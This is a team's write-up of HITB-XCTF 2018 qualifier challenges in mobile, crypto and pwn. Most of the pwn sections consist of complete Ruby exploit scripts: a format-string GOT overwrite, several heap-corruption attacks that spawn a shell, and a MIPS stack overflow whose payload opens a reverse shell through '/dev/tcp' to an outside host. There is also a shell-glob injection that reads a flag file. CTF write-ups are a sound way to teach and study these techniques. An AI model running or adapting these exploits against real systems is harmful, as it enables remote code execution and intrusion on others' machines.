HITB-XCTF 2018 Quals Writeup (scryptos)
IRC checkin (Misc 59pts)
goto IRC
flag: HITBXCTF{W3lcome_To_HITBXCTF_2018_Online_Qualifications}
readfile (Misc 266pts)
$()$(</????/????_??_????/????.???)
flag: HITB{d7dc2f3c59291946abc768d74367ec31}
base (Crypto 289pts)
By looking closely at bin data received from the server, you can guess that the input is encoded in a similar way to Base64.
Try all the pairs of the first two character of the flag and choose one with longest lcp, and there you go.
Solution script: https://gist.github.com/193s/8d1bd57109b1807e266cb5df3206940c
flag: HITB{5869616f6d6f40466c61707079506967}
multicheck (Mobile 333pts)
The apk does:
- Save a file named claz.dex
- Load claz.dex via
DexClassLoader
- When the button is clicked, call
com.a.Check
The apk includes a file named "claz.dex", but it only contains a fake flag :(
After investigating other files, I noticed that the file named "libcheck.so" contains the real claz.dex.
I wrote a script to extract real claz.dex from libcheck.so.
#coding:ascii-8bit b = open("libcheck.so", "rb").read[0x3004...0x3004 + 1852] x = 233 1852.times{|i| b[i] = (b[i].ord ^ x).chr x = (x + 1) % 256 } open("claz.dex", "wb"){|f| f.write b}
I reversed the real claz.dex and found out how it verifies the flag.
Solution script:
#coding:ascii-8bit @b = [99, 124, 101, 233, 142, 81, 209, 217, 154, 79, 22, 52, 217, 162, 190, 184, 101, 238, 73, 229, 53, 251, 46, 236, 97, 11, 200, 36, 237, 207, 144, 181] class Fixnum def int [self & 0xffffffff].pack("L").unpack("l")[0] end end def reverse(a) i, j = @b[a...a + 8].map(&:chr).join.unpack("L>*") k = 0xc6ef3720.int 32.times{ j = (j - ((-269488145 + (i << 4).int).int ^ (i + k).int ^ (305419896 + (i.int >> 5)).int)).int i = (i - ((-1414812757 + (j << 4).int).int ^ (j + k).int ^ (-842150451 + (j.int >> 5)))).int k = (k + 0x61c88647).int } [i, j].pack("L>*").bytes end p 4.times.map{|i| reverse(i * 8)}.flatten.map(&:chr).join # => "\x04\x00\x00\x00HITB{SEe!N9_IsN'T_bELIEV1Ng}"
flag: HITB{SEe!N9_IsN'T_bELIEV1Ng}
kivy simple (Mobile 384pts)
The apk contains a file named "private.mp3", which is actually a tar ball.
After decompressing private.mp3, I found a file named "main.pyo".
I decompiled main.pyo with uncompyle2 and found the flag.
flag: HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}
babypwn (Pwn 253pts)
pwn + no binary given + an echo service = format string stuff
First I dumped the binary using format string attack.
The main
function was quite simple:
int main(){ char buf[256]; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); while(1){ gets(buf); usleep(0); printf(buf); } }
Since the binary has Partial RELRO, it's easy to control RIP by overwriting GOT.
Exploit:
#coding:ascii-8bit require "pwnlib" # https://github.com/Charo-IT/pwnlib remote = ARGV[0] == "r" if remote host = "47.75.182.113" port = 9999 libc_offset = { "usleep" => 0xfdd60, "one_gadget" => 0xf1147 } else host = "localhost" port = 54321 libc_offset = { "usleep" => 0xfdd60, "one_gadget" => 0xf1147 } end got = { "usleep" => 0x601030 } def tube @tube end def leak(addr) if [addr].pack("Q").include?("\n") return "" end tube.sendline("%8$s114514".ljust(16, "\0") + [addr].pack("Q")) tube.recv_capture(/(.*?)114514/m)[0] end def leak_range(from, to) buf = "" while from + buf.length < to print "\r0x%x" % (from + buf.length) buf << leak(from + buf.length) + "\0" end buf end PwnTube.open(host, port){|t| @tube = t puts "[*] leak libc base" libc_base = leak(got["usleep"]).ljust(8, "\0").unpack("Q")[0] - libc_offset["usleep"] puts "libc base = 0x%x" % libc_base puts "[*] overwrite got" payload = "" a = [] cnt = 0 [libc_base + libc_offset["usleep"]].pack("L").bytes.zip([libc_base + libc_offset["one_gadget"]].pack("L").bytes).each_with_index{|b, i| if b[0] == b[1] next end if b[1] != cnt payload << "%#{(b[1] - cnt) & 0xff}c" cnt = b[1] end payload << "%#{i + 22}$hhn" a << got["usleep"] + i } payload << "\0" * (0x80 - payload.length) payload << a.pack("Q*") tube.sendline(payload) puts "[*] launch shell" tube.sendline tube.interactive }
flag: HITB{Baby_Pwn_BabY_bl1nd}
once (Pwn 281pts)
Vulnerability:
- We can overwrite the last item of double-linked list
- The binary kindly tells us the address of libc
Exploit:
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "47.75.189.102" port = 9999 libc_offset = { "puts" => 0x6f690, "__free_hook" => 0x3c67a8, "system" => 0x45390 } else host = "localhost" port = 54321 libc_offset = { "puts" => 0x6f690, "__free_hook" => 0x3c67a8, "system" => 0x45390 } end class PwnTube def recv_until_prompt recv_until("> ") end end def tube @tube end def create tube.recv_until_prompt tube.send("1".ljust(8, "\0")) end def overwrite_last(s) tube.recv_until_prompt tube.send("2".ljust(8, "\0")) tube.send(s) end def delete_last tube.recv_until_prompt tube.send("3".ljust(8, "\0")) end def extra_menu tube.recv_until_prompt tube.send("4".ljust(8, "\0")) end def alloc(size) tube.recv_until_prompt tube.send("1".ljust(8, "\0")) tube.recv_until("input size:\n") tube.send("#{size}".ljust(8, "\0")) end def write_data(s) tube.recv_until_prompt tube.send("2".ljust(8, "\0")) tube.send(s) end def free tube.recv_until_prompt tube.send("3".ljust(8, "\0")) end def quit_extra_menu tube.recv_until_prompt tube.send("4".ljust(8, "\0")) end PwnTube.open(host, port){|t| @tube = t puts "[*] leak libc base" tube.recv_until_prompt tube.send("0".ljust(8, "\0")) libc_base = tube.recv_capture(/(0x[0-9a-f]{12})/)[0].to_i(16) - libc_offset["puts"] puts "libc base = 0x%x" % libc_base puts "[*] allocate buffer" extra_menu alloc(8000) quit_extra_menu puts "[*] abuse linklist" payload = "" payload << "\0" * 0x18 payload << "\x54" # partial overwrite overwrite_last(payload) create delete_last # now we can call "overwrite" feature again :) puts "[*] overwrite buffer address" payload = "" payload << "\0" * (4 + 0x10) payload << [libc_base + libc_offset["__free_hook"] - 8].pack("Q") overwrite_last(payload) puts "[*] overwrite __free_hook" extra_menu payload = "" payload << "/bin/sh".ljust(8, "\0") payload << [libc_base + libc_offset["system"]].pack("Q") write_data(payload) puts "[*] launch shell" free tube.interactive }
flag: HITB{this_is_the_xxxxxxx_flag}
d (Pwn 392pts)
Vulnerability:
- When decoding base64, it doesn't null-terminate the string when input contains errors
Exploit:
#coding:ascii-8bit require "pwnlib" require "base64" remote = ARGV[0] == "r" if remote host = "47.75.154.113" port = 9999 libc_offset = { "__libc_start_main" => 0x20740, "system" => 0x45390 } else host = "localhost" port = 54321 libc_offset = { "__libc_start_main" => 0x20740, "system" => 0x45390 } end offset = { "read_integer" => 0x400f48, "puts" => 0x400770 } got = { "strlen" => 0x602028, "free" => 0x602018, "__libc_start_main" => 0x602050, "atoi" => 0x602068 } class PwnTube def recv_until_prompt recv_until("Which? :") end end def tube @tube end def read_message(index, data) tube.recv_until_prompt tube.sendline("1") tube.recv_until_prompt tube.sendline("#{index}") tube.recv_until("msg:") tube.send(data) end def edit_message(index, data) tube.recv_until_prompt tube.sendline("2") tube.recv_until_prompt tube.sendline("#{index}") tube.recv_until("new msg:") tube.send(data) end def edit_message_hax(index, data) tube.recv_until_prompt tube.sendline("2") tube.recv_until_prompt tube.sendline("#{index}") tube.recv_until("new msg:") tube.recv_until_prompt tube.sendline("-1") tube.sendline(data) end def wipe_message(index) tube.recv_until_prompt tube.sendline("3") tube.recv_until_prompt tube.sendline("#{index}") end PwnTube.open(host, port){|t| @tube = t puts "[*] fill heap with garbage" read_message(0, "/" * 0x400) wipe_message(0) puts "[*] create messages" read_message(0, "\x80\n") # chunk 0x20 payload = "" payload << "\xff" * 0x1f0 payload << [0x200].pack("Q") read_message(1, Base64.encode64(payload).gsub(/\s/, "").ljust(0x2b4, "\x80") + "\n") # chunk 0x210 read_message(2, "\x80" * 0x15f + "\n") # chunk 0x110 puts "[*] free No.2" wipe_message(1) # poison null byte puts "[*] overwrite No.2->size" edit_message(0, "\xff" * 0x18 + "\n") puts "[*] create message" read_message(3, "\x80" * 0x149 + "\n") read_message(4, "\x80" * 0x89 + "\n") # chunk which will be forgotten read_message(5, "\x80" * 0xb4 + "\n") # chunk which will be forgotten puts "[*] free No.3, No.2" wipe_message(3) wipe_message(2) puts "[*] free No.4 (victim)" wipe_message(4) puts "[*] overwrite victim chunk" payload = "" payload << "\xff" * 0xf8 payload << [0x70].pack("Q") payload << [0x60216d].pack("Q") # fd payload << "\xff" * 0x60 payload << "\x90" read_message(6, Base64.encode64(payload).gsub(/\s/, "") + "\n") puts "[*] overwrite bss" read_message(7, "\x80" * 0x89 + "\n") read_message(63, Base64.encode64("\xff" * 0x60).gsub(/\s/, "").ljust(0x89, "\x80") + "\n") puts "[*] overwrite got (strlen -> read_integer)" payload = "" payload << "\xff" * (0x58 + 3) payload << [got["strlen"]].pack("Q")[0...5] edit_message(63, payload) edit_message(11, [offset["read_integer"]].pack("Q")[0...6]) # now we can edit messages without length limitations puts "[*] overwrite got (free -> puts)" payload = "" payload << "\0\0\0" payload << [got["free"]].pack("Q") edit_message_hax(63, payload) edit_message_hax(0, [offset["puts"]].pack("Q")[0...6]) puts "[*] leak libc base" payload = "" payload << "\0\0\0" payload << [got["__libc_start_main"]].pack("Q") edit_message_hax(63, payload) wipe_message(0) libc_base = tube.recv_capture(/(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"] puts "libc base = 0x%x" % libc_base puts "[*] overwrite got (atoi -> system)" payload = "" payload << "\0\0\0" payload << [got["atoi"]].pack("Q") edit_message_hax(63, payload) edit_message_hax(0, [libc_base + libc_offset["system"]].pack("Q")[0...6]) puts "[*] launch shell" tube.recv_until_prompt tube.sendline("/bin/sh") tube.interactive }
flag: HITB{b4se364_1s_th3_b3st_3nc0d1ng!}
gundam (Pwn 487pts)
Vulnerability:
- Double free in "Destroy a gundam" feature
Exploit:
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "47.75.37.114" port = 9999 libc_offset = { "main_arena" => 0x3dac20, "__free_hook" => 0x3dc8a8, "system" => 0x47dc0 } else host = "localhost" port = 54321 libc_offset = { "main_arena" => 0x3dac20, "__free_hook" => 0x3dc8a8, "system" => 0x47dc0 } end class PwnTube def recv_until_prompt recv_until("Your choice : ") end end def tube @tube end def create(name, type) tube.recv_until_prompt tube.send("1".ljust(8, "\0")) tube.recv_until("The name of gundam :") tube.send(name) tube.recv_until("The type of the gundam :") tube.sendline("#{type}") end def show tube.recv_until_prompt tube.send("2".ljust(8, "\0")) end def destroy(index) tube.recv_until_prompt tube.send("3".ljust(8, "\0")) tube.recv_until("Which gundam do you want to Destory:") tube.sendline("#{index}") end def explode tube.recv_until_prompt tube.send("4".ljust(8, "\0")) end PwnTube.open(host, port){|t| @tube = t puts "[*] leak heap base" create("A", 0) create("B", 0) create("C", 0) create("D", 0) create("E", 0) destroy(0) destroy(1) create("\x90", 0) show heap_base = tube.recv_capture(/Gundam\[5\] :(.{6})/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x290 puts "heap base = 0x%x" % heap_base puts "[*] abuse tcache freelist" 2.times{ destroy(5) destroy(3) destroy(0) } destroy(2) explode create([heap_base + 0x80].pack("Q"), 0) create("F", 0) create("/bin/sh\0", 0) create("H", 0) payload = "" payload << [0, 0x111].pack("Q*") payload << [0].pack("Q") * 7 payload << [heap_base + 0x90].pack("Q") create(payload, 0) payload = "" payload << [0].pack("Q") * 7 payload << [heap_base + 0x760].pack("Q") create(payload, 0) puts "[*] leak libc base" payload = "" payload << [1].pack("Q") payload << [heap_base + 0x570].pack("Q") create(payload, 0) show libc_base = tube.recv_capture(/Gundam\[4\] :(.{6})/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x58 puts "libc base = 0x%x" % libc_base puts "[*] overwrite __free_hook" destroy(0) destroy(6) payload = "" payload << [0].pack("Q") * 7 payload << [libc_base + libc_offset["__free_hook"]].pack("Q") create(payload, 0) explode create([libc_base + libc_offset["system"]].pack("Q"), 0) puts "[*] launch shell" destroy("2") tube.interactive }
flag: HITB{now_you_know_about_tcache}
mutepig (Pwn 833pts)
Vulnerability:
- Use after free
References:
Exploit:
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "47.75.128.158" port = 9999 else host = "localhost" port = 54321 end offset = { "fake_chunk" => 0x602120, "system" => 0x4006e0 } got = { "free" => 0x602018 } def tube @tube end # 1: 0x10 # 2: 0x80 # 3: 0xa00000 # 13337: 0xFFFFFFFFFFFFFF70 def allocate(type, data) tube.sendline("1") tube.sendline("#{type}") tube.send(data) end def release(index) tube.sendline("2") tube.sendline("#{index}") end def edit(index, data, buf) tube.sendline("3") tube.sendline("#{index}") tube.send(data) tube.send(buf) end PwnTube.open(host, port){|t| @tube = t tube.wait_time = 0.5 if !remote puts "waiting" gets end puts "[*] allocate fastbin" allocate(1, "A") # 0 puts "[*] raise system_mem" allocate(3, "A") # 1 release(1) allocate(3, "A") # 2 release(2) puts "[*] free fastbin" release(0) puts "[*] allocate small bin (for malloc_consolidate)" allocate(2, "A") # 3 puts "[*] abuse fastbins linklist" payload = "" payload << [0, 0x11].pack("Q*") payload << [0, 0xfffffffffffffff1].pack("Q*") edit(0, [offset["fake_chunk"] + 0x10].pack("Q")[0...7], payload) puts "[*] force malloc_consolidate" release(3) puts "[*] link fake chunk to largebin" payload = "" payload << [0xfffffffffffffff0, 0x10].pack("Q*") payload << [0, 0xa00001].pack("Q*") edit(0, [0].pack("Q")[0...7], payload) allocate(3, "A") # 4 puts "[*] change fake chunk's size" payload = "" payload << [0xfffffffffffffff0, 0x10].pack("Q*") payload << [0, 0xfffffffffffffff1].pack("Q*") edit(0, [0].pack("Q")[0...7], payload) puts "[*] move top chunk to bss" allocate(13337, "A") # 5 puts "[*] overwrite bss" allocate(1, [got["free"]].pack("Q")[0...7]) puts "[*] overwrite got (free -> system)" edit(0, [offset["system"]].pack("Q")[0...7], "A") puts "[*] launch shell" edit(2, "/bin/sh", "A") release(2) tube.interactive }
flag: HITB{the_returning_champion_mutepig}
gheart (Pwn 952pts)
The binary has 5 menus:
- sign in
- To signin, we are required to solve an easy Proof of Work
- show my heart
- This feature shows us 3 types of hex numbers
- my encrypted secret: encrypted flag
- my heart: RSA public key (n, e)
- This feature shows us 3 types of hex numbers
- show your heart
- This feature leaks the higher bits of RSA private key (p) when we choose a large number as "size or your heart"
- sign out
- exit
These are the parameters I've collected from the remote server:
higher bits of p: c68de09c8550f90cad2dcd7697d514286203e93baf328717ba208a3fc5db476379e7b75e43c117b417b9c140e3da4bc3c4005934456c813198f352cec6fb1b27fa0a081b990ab9bb e: 3 n: 877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D cipher text: 1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2
... and the flag gets padded like this before encrypting:
assert(len(secret) == 46) m = ("0" + secret.encode("hex") + "6" * 163).decode("hex")
I passed all informations I've got to my team's crypto guy. (Because I'm not good at crypto :P)
He used SageMath to decrypt the flag.
n = int("877149E3A16B31DA99D86792698F6348381FA2E1D16BAFD48E5CA5F46892AA26A64877813D00F2F847B18758E3EE384D95DD8B1FF01715A203ACB72965AB7946012D91B8AC24569E9B38360B84169C26F6B0554FB1A512662A8F3EF644C1708DCE169AF1CFE2A629A9FF6E7CD1E9FDDD15911A9AB813148680333133735E02647E9CEB41230246413FE23DAE65240775EE0BE827E61FD1DACC17717D5EDB3F79A49E63758DE86EC6AACA2CBA9DB66089AB1229D1AC45525C7A05BB6C94B203A80678EBA4955BF427593823BEA99BDE35DDA5010A4AF67524E8D2DC9B41A894EC8934701798E67E6871A9559C1D91C7C89A8BDB328D059C274DF6F6EDE860771D", 16) c = int("1EA7EEBA41287381903F9BE4A74BBCCE612657AF4C45A8ABFDDC89B16ED25247FB7F78EA6DDDA0EBAA42ADB8574A1DD70B7FE5C2A291C619257AD8B985A334E85166DCC5490C33A4491F55E7CA4395D7A02E33D64E15D57F2ED1E50C1DCDE7A9ED89A6D128F83CEC5259E19E91FD8137AF1530B5C560BB6313D4BDD6CF8BFDA7455C8DE33350B818F4FAFD568BBA96F77210441541FCFF1DC58ED8365AA07F2823D6F0FF1500048931594B849EBFF9219D5B17F202FE4166E6F0D2D589057635904235932479B6CAE498ECEE4DB3E5F0E85E0B5D93EBF162014614DFBDA61111E94D54738C7EE913F416B1704093C61AADF31D1D37A70A86C9608CB47ADCCBE2", 16) F = Zmod(n) PR.<x> = PolynomialRing(F) x0 = (((2^4)^163 * x + int('6' * 163, 16))^3 - c).monic().small_roots(X=2^(8*46))[0] hex(ZZ(x0)).decode('hex') # => 'flag{flappypig_c00l_and_wec0me_your_coming_1!}'
flag: flag{flappypig_c00l_and_wec0me_your_coming_1!}
H-Link (Pwn 952pts)
This CGI has 2 features, SysInfo and Echo.
SysInfo simply executes pmap ${self_pid}
.
By calling SysInfo several times, I realized that the remote server has no ASLR.
$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1' -H 'SoapAction: #SysInfo' * Trying 47.75.186.245... * Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0) > GET /cgi-bin/soap.cgi?local=1 HTTP/1.1 > Host: 47.75.186.245:9999 > User-Agent: curl/7.47.0 > Accept: */* > SoapAction: #SysInfo > < HTTP/1.1 200 OK < Date: Fri Apr 13 05:19:02 2018 < Content-Length: 829 < Connection: keep-alive < X-Frame-Options: SAMEORIGIN < Pragma: no-cache < Cache-Control: no-cache < Content-Type: text/plain < 2381: /ctf/goahead_home/www/cgi-bin/soap.cgi 00400000 8K r-x-- /ctf/goahead_home/www/cgi-bin/soap.cgi 00411000 4K rw--- /ctf/goahead_home/www/cgi-bin/soap.cgi 00412000 132K rwx-- [ anon ] 77e28000 64K rw--- [ anon ] 77e38000 1464K r-x-- /lib/mips-linux-gnu/libc-2.13.so 77fa6000 64K ----- /lib/mips-linux-gnu/libc-2.13.so 77fb6000 36K r---- /lib/mips-linux-gnu/libc-2.13.so 77fbf000 8K rw--- /lib/mips-linux-gnu/libc-2.13.so 77fc1000 12K rw--- [ anon ] 77fc4000 140K r-x-- /lib/mips-linux-gnu/ld-2.13.so 77fef000 8K rw--- [ anon ] 77ff5000 4K rw--- [ anon ] 77ff6000 4K r---- /lib/mips-linux-gnu/ld-2.13.so 77ff7000 4K rw--- /lib/mips-linux-gnu/ld-2.13.so 7ffd6000 132K rwx-- [ stack ] 7fff7000 4K r-x-- [ anon ] total 2088K
Echo feature echoes the string given via "message" parameter.
$ curl -v 'http://47.75.186.245:9999/cgi-bin/soap.cgi?local=1&message=114514' -H "SoapAction: #Echo" * Trying 47.75.186.245... * Connected to 47.75.186.245 (47.75.186.245) port 9999 (#0) > GET /cgi-bin/soap.cgi?local=1&message=114514 HTTP/1.1 > Host: 47.75.186.245:9999 > User-Agent: curl/7.47.0 > Accept: */* > SoapAction: #Echo > < HTTP/1.1 200 OK < Date: Fri Apr 13 05:24:33 2018 < Content-Length: 6 < Connection: keep-alive < X-Frame-Options: SAMEORIGIN < Pragma: no-cache < Cache-Control: no-cache < Content-Type: text/plain < * Connection #0 to host 47.75.186.245 left intact 114514
The Echo feature calls strcpy
without checking the length of "message" parameter.
This leads to stack buffer overflow.
Since "message" parameter is given via query string, we have to build our payload without using null-bytes, whitespaces, and ampersands.
This is not a big problem because libc is given and ASLR is disabled on remote server.
Exploit:
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "47.75.186.245" port = 9999 else host = "localhost" port = 54321 end def tube @tube end reverse_shell_host = "REDACTED"; reverse_shell_port = 31337; cmd = "bash${IFS}-c${IFS}'bash</dev/tcp/#{reverse_shell_host}/#{reverse_shell_port}';" libc_base = 0x77e38000 fake_fp = 0x7fff6b48 payload = "" payload << "A" * 0x84 payload << [fake_fp].pack("L>") # fp payload << [libc_base + 0x11afa8].pack("L>") # ra (set s1) payload << "B" * 24 payload << "B" * 4 # s0 payload << [libc_base + 0x41da0].pack("L>") # s1 = system payload << [fake_fp].pack("L>") # fp payload << [libc_base + 0xe5170].pack("L>") # ra (call system) payload << "A" * 64 if cmd.length % 4 != 0 cmd << "_" * (4 - cmd.length % 4) end payload << cmd raise if payload =~ /[\0\s&]/ PwnTube.open(host, port){|t| @tube = t a = "" a << "GET /cgi-bin/soap.cgi?local=1&message=#{payload} HTTP/1.1\r\n" a << "Host: 47.75.186.245:9999\r\n" a << "SoapAction: #Echo\r\n\r\n" tube.send(a) tube.interactive }
flag: HITB{fdfbf27aaf678a3785df6d343f3309e1}